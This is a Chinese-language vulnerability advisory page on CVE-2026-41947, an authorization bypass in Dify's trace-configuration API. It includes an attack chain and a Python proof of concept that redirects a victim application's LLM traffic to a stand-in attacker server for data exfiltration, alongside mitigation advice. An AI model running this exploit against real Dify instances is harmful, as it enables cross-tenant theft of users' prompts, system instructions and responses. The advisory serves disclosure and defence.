IPBUF安全漏洞报告
English
CVE-2026-41947 CVSS 7.4 高危

CVE-2026-41947 Dify授权绕过致数据泄露漏洞

披露日期: 2026-05-18

漏洞信息

漏洞编号
CVE-2026-41947
漏洞类型
授权绕过
CVSS评分
7.4 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Dify

相关标签

授权绕过Dify数据泄露API安全LLM

漏洞概述

Dify 1.14.1及之前版本存在严重的授权绕过漏洞。由于系统的追踪配置端点在处理请求时缺少关键的租户所有权检查,经过身份验证的编辑用户可以利用此缺陷,修改任意应用程序的追踪配置,将所有消息与响应重定向至攻击者控制的服务器。鉴于Dify Cloud允许无认证自助注册,攻击门槛极低,极易导致敏感数据泄露及完整性受损。

技术细节

该漏洞的根源在于Dify后端API在设计时对租户隔离逻辑处理不当。具体而言,当处理更新追踪配置的API请求时,系统仅验证了用户是否具备基本的编辑权限,而未严格验证当前用户是否拥有目标应用所属的租户所有权。攻击者注册账户后,利用默认赋予的编辑者身份,通过篡改HTTP请求中的应用ID参数,即可跨租户调用敏感接口。攻击者将受害应用的追踪提供商地址设置为恶意服务器后,受害应用与LLM的所有交互数据(包括用户输入的提示词、系统指令以及AI生成的响应)都会被实时发送至攻击者控制端。这不仅造成了严重的信息泄露,还可能通过篡改响应数据影响业务的完整性,构成了一条完整的数据窃取链路。

攻击链分析

STEP 1
步骤1:注册账户
攻击者利用Dify Cloud允许无认证自助注册的功能,创建一个新账户并获得默认的编辑权限。
STEP 2
步骤2:枚举目标
攻击者使用编辑权限访问API,枚举或猜测其他租户的应用程序ID(App ID)。
STEP 3
步骤3:发送恶意请求
攻击者向追踪配置端点发送PUT/POST请求,并在请求体中将受害应用的追踪提供商地址修改为攻击者控制的服务器地址。
STEP 4
步骤4:劫持数据流
由于后端未校验租户所有权,配置修改成功。受害应用后续的所有LLM交互消息和响应都会被发送到攻击者的服务器。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # PoC for CVE-2026-41947: Dify Authorization Bypass via Trace Configuration # Attacker sets up a malicious trace endpoint to capture data MALICIOUS_TRACE_URL = "http://attacker-controlled-server.com/collect" TARGET_DIFY_URL = "https://target-dify-instance.com" # Attacker obtains session token after registering a free account ATTACKER_SESSION_TOKEN = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." headers = { "Authorization": f"Bearer {ATTACKER_SESSION_TOKEN}", "Content-Type": "application/json" } # The victim's App ID (could be enumerated or guessed) VICTIM_APP_ID = "app-uuid-of-victim-12345" # Payload to hijack the trace configuration payload = { "enabled": True, "provider": "custom", # or whatever param triggers the external trace "config": { "endpoint": MALICIOUS_TRACE_URL } } # Exploit: Send PUT request to the vulnerable endpoint # The API fails to check if the attacker owns the VICTIM_APP_ID endpoint_url = f"{TARGET_DIFY_URL}/console/api/apps/{VICTIM_APP_ID}/trace-config" response = requests.put(endpoint_url, json=payload, headers=headers) if response.status_code == 200: print(f"[+] Success! Trace configuration for {VICTIM_APP_ID} has been hijacked.") print(f"[+] Data is now being redirected to {MALICIOUS_TRACE_URL}") else: print(f"[-] Failed. Status code: {response.status_code}") print(response.text)

影响范围

Dify <= 1.14.1

防御指南

临时缓解措施
建议立即限制Dify实例的公开用户注册功能,仅允许可信用户注册。同时,临时禁用或严格限制编辑角色对追踪配置的访问权限,直到完成补丁更新。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表